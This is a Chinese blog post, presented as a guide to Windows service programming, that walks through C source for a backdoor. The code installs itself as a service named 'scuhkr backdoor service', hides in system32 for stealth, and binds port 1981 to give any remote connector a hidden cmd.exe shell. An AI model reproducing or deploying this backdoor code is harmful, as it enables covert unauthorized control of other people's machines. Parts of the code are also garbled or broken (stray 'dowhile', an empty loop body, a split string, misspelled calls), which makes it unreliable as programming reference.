windows服务开发用到的主要函数详解参考

编程实现

  一个完整的服务分为安装服务程序,主体服务程序和卸载服务程序。我们先来写服务的主体部分,示例代码如下:

void main()
{
 SERVICE_TABLE_ENTRY ServiceTable[] = 
 {
  {"scuhkr", BDServiceMain},
  {NULL, NULL} //"哨兵"
 };
 //连接到服务控制管理器
 StartServiceCtrlDispatcher(ServiceTable);
}

 路人甲:什么,就这么短?你想侮辱广大鸟儿的智慧?呵呵,先别急,听我慢慢道来:上面代码中,我们先给出了一个SERVICE_TABLE_ENTRY结构数组,每个成员描述了调用进程提供的服务,这里我们只安装了一个服务名为Scuhkr的服务,后面的BDServiceMain()我们称之为服务主函数,通过回调该函数提供了服务入口地址,它原形的参数必须定义成如下形式:
VOID WINAPI BDServiceMain(
  DWORD dwArgc,  //lpszArgv参数个数
  LPTSTR* lpszArgv //该数组第一个的参数指定了服务名,可以在后面被
                      StartService()来调用
);
SERVICE_TABLE_ENTRY结构数组要求最后一个成员组都为NULL,我们称之为“哨兵”(所有值都为NULL),表示该服务表末尾。一个服务启动后,马上调用StartServiceCtrlDispatcher()通知服务控制程序服务正在执行,并提供服务函数的地址。StartServiceCtrlDispatcher()只需要一个至少有两SERVICE_TABLE_ENTRY结构的数组,它为每个服务启动一个线程,一直等到它们结束才返回。
 本程序只提供了一个服务函数BDServiceMain(),下面我们来下完成这个函数的功能,示例代码如下:

void WINAPI BDServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{
 DWORD dwThreadId;  //存放线程ID
 
//通过RegisterServiceCtrlHandler()与服务控制程序建立一个通信的协议。
//BDHandler()是我们的服务控制程序,它被可以被用来开始,暂停,恢复,停止服务等控制操作
 if (!(ServiceStatusHandle = RegisterServiceCtrlHandler("scuhkr",
                     BDHandler))) 
  return;

//表示该服务私有
 ServiceStatus.dwServiceType  = SERVICE_WIN32_OWN_PROCESS;
//初始化服务,正在开始
 ServiceStatus.dwCurrentState  = SERVICE_START_PENDING; //
//服务可以接受的请求,这里我们只接受停止服务请求和暂停恢复请求
 ServiceStatus.dwControlsAccepted  = SERVICE_ACCEPT_STOP
                      | SERVICE_ACCEPT_PAUSE_CONTINUE;
//下面几个一般我们不大关心,全为0
 ServiceStatus.dwServiceSpecificExitCode = 0;
 ServiceStatus.dwWin32ExitCode        = 0;
 ServiceStatus.dwCheckPoint            = 0;
 ServiceStatus.dwWaitHint              = 0;
//必须调用SetServiceStatus()来响应服务控制程序的每次请求通知
 SetServiceStatus(ServiceStatusHandle, &ServiceStatus);

//开始运行服务
 ServiceStatus.dwCurrentState = SERVICE_RUNNING;
 ServiceStatus.dwCheckPoint   = 0;
 ServiceStatus.dwWaitHint     = 0;

 SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//我们用一个事件对象来控制服务的同步
 if (!(hEvent=CreateEvent(NULL, FALSE, FALSE, NULL)))
  return;

 ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
 ServiceStatus.dwCheckPoint   = 0;
 ServiceStatus.dwWaitHint     = 0;

 SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//开线程来启动我们的后门程序
 if (!(hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MainFn, (LPVOID)0, 0, &dwThreadId)))
 

 ServiceStatus.dwCurrentState = SERVICE_RUNNING;
 ServiceStatus.dwCheckPoint   = 0;
 ServiceStatus.dwWaitHint     = 0;

 WaitForSingleObject(hEvent, INFINITE);

 CloseHandle(hThread);
 ExitThread(dwThreadId);
 CloseHandle(hEvent);

 return;
}

  上面我们调用了一个服务控制函数BDHandler(),由于只是简单的介绍,我们这里只处理服务停止控制请求的情况,其它暂停、恢复等功能,读者可以自己完善。下面是对BDHandler()的实现代码:
void WINAPI BDHandler(DWORD dwControl)
{
 switch(dwControl)
 {
 case SERVICE_CONTROL_STOP:
//等待后门程序的停止
  ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
  ServiceStatus.dwCheckPoint   = 0;
  ServiceStatus.dwWaitHint     = 0;
  
  SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//设时间为激发状态,等待下一个事件的到来
  SetEvent(hEvent);
  
  ServiceStatus.dwCurrentState = SERVICE_STOP;
  ServiceStatus.dwCheckPoint   = 0;
  ServiceStatus.dwWaitHint     = 0;
//停止
  SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
  break;
 
 default:
  break;
 }
}

  服务控制函数搞定了,下面就剩下主体的后门函数了。本程序借用了N多前辈翻写过了无数次的后门程序,通过开一个端口监听,允许任何与该端口连接的远程主机建立信任连接,并提供一个交互式Shell。为了代码清晰,我去掉了错误检查,整个过程很简单,也就不多解释了,黑防上都有N期介绍了,代码如下:
DWORD WINAPI MainFn(LPVOID lpParam)
{
 WSADATA WSAData;
 struct sockaddr_in RemoteAddr;
 DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
 PROCESS_INFORMATION processinfo;
 STARTUPINFO startinfo;
 
 WSAStartup(MAKEWORD(2,2),&WSAData);
 ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 RemoteAddr.sin_family = AF_INET;
 RemoteAddr.sin_port = htons(1981);  //监听端口
 RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;
 
 bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
 listen(ServerSocket, 2);
 
 varA = 0;
 varB = 0;
 CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
 CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);
 
 dowhile((varA || varB) == 0);
 
 GetStartupInfo(&startinfo);
 startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 startinfo.hStdInput = hReadPipe;
 startinfo.hStdError = hWritePipe;
 startinfo.hStdOutput = hWritePipe;
 startinfo.wShowWindow = SW_HIDE; //隐藏控制台窗口

 char szAPP[256];
 GetSystemDirectory(szAPP,MAX_PATH+1);
 
  strcat(szAPP,"
\\cmd.exe");
//开cmd进程
  if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, 
   NULL, NULL, &startinfo, &processinfo) == 0)
  {
   printf ("CreateProcess Error!\n");
   return -1;
  }
 
 while (true) 
 {
  ClientSocket = accept(ServerSocket, NULL, NULL);
  Sleep(250);
 }

 return 0;
}

//线程函数A, 通过管道A来从控制端接受输入,然后写入被控制端输入端
DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
 SECURITY_ATTRIBUTES pipeattr;
 DWORD nByteToWrite, nByteWritten;
 char recv_buff[1024];
 
 pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
 pipeattr.lpSecurityDescriptor = NULL;
 pipeattr.bInheritHandle = TRUE;
 CreatePipe(&hReadPipe,
  &hWriteFile,
  &pipeattr,
  0);
 
 varA = 1;
 while(true)
 {
  Sleep(250);
  nByteToWrite = recv(ClientSocket,
   recv_buff,
   1024,
   0);
  printf("%s\n", recv_buff);
  WriteFile(hWriteFile,
   recv_buff,
   nByteToWrite,
   &nByteWritten,
   NULL);
 }
 return 0;
}

//线程函数B, 通过管道B来从被控制端接受输入,然后写到控制端输出端
DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
 SECURITY_ATTRIBUTES pipeattr;
 DWORD len;
 char send_buff[25000];
 
 pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
 pipeattr.lpSecurityDescriptor = NULL;
 pipeattr.bInheritHandle = TRUE;
 
 CreatePipe(&hReadFile,
  &hWritePipe,
  &pipeattr,
  0);
 
 varB = 1;
 while (true)
 
 return 0;
}

 安装服务的部分其实很简单,示例代码如下:
// InstallService.cpp
void main()
{
SC_HANDLE hSCManager = NULL,  //服务控制管理器句柄
 hService = NULL;     //服务句柄
 char szSysPath[MAX_PATH]=, 
szExePath[MAX_PATH]=;   //我们要把我们后台执行的程序放在这里,一般就是在
\\admin$\\system32\里,隐蔽性高

 if ((hSCManager = OpenSCManager(NULL,  //NULL表明是本地主机 
NULL, // 要打开的服务控制管理数据库,默认为空
SC_MANAGER_CREATE_SERVICE//创建权限
))==NULL)
 {
  pirntf("OpenSCManager failed\n");
  return;
 }
 
 GetSystemDirectory(szSysPath, MAX_PATH); //获得系统目录,也就是system32里面,隐蔽起来
 strcpy(szExePath, szSysPath);
 strcat(szExePath, "scuhkr.exe");  //应用程序绝对路径

 if ((hService=CreateService(hSCManager,  //指向服务控制管理数据库的句柄
        "scuhkr",    //服务名
        "scuhkr backdoor service", //显示用的服务名
        SERVICE_ALL_ACCESS, //所有访问权限
        SERVICE_WIN32_OWN_PROCESS, //私有类型
        SERVICE_DEMAND_START, //自启动类型        SERVICE_ERROR_IGNORE, //忽略错误处理
        szExePath,  //应用程序路径
        NULL, 
        NULL, 
        NULL,
        NULL,
        NULL)) == NULL)
 {
  printf("%d\n", GetLastError());
   return;
 }

//让服务马上运行。万一是个服务器,10天半个月不重启,岂不是没搞头?
 if(StartService(hService, 0, NULL) == FALSE)
 { 
  printf("StartService failed: %d\n", GetLastError());
  return;
 }
 printf(“Install service successfully\n ”);
 CloseServiceHandle(hService);  //关闭服务句柄
 CloseServiceHandle(hSCManager); //关闭服务管理数据库句柄
}

  Ok,一切都写完了,我们在本机上测试一下,先把前面的服务主体程序Scuhkr.exe拷贝到系统目录\system32下(如果需要程序自动实现自拷贝的,可以通过CopyFile()来实现,确实不行就去找WinShell的源代码来看看吧),然后执行InstallServcie.exe。为了看我们是否安装成功,有两个办法,一是通过控制面板->管理工具->服务,二是利用控制台下系统自带的Sc.exe工具,比如:“sc.exe qc rpcss”,如图2所示。

windows服务开发用到的主要函数详解参考
 
图2

windows服务开发用到的主要函数详解参考

上一篇:LeetCode Minimum Window Substring


下一篇:c# 实现串口编程-操作LED屏幕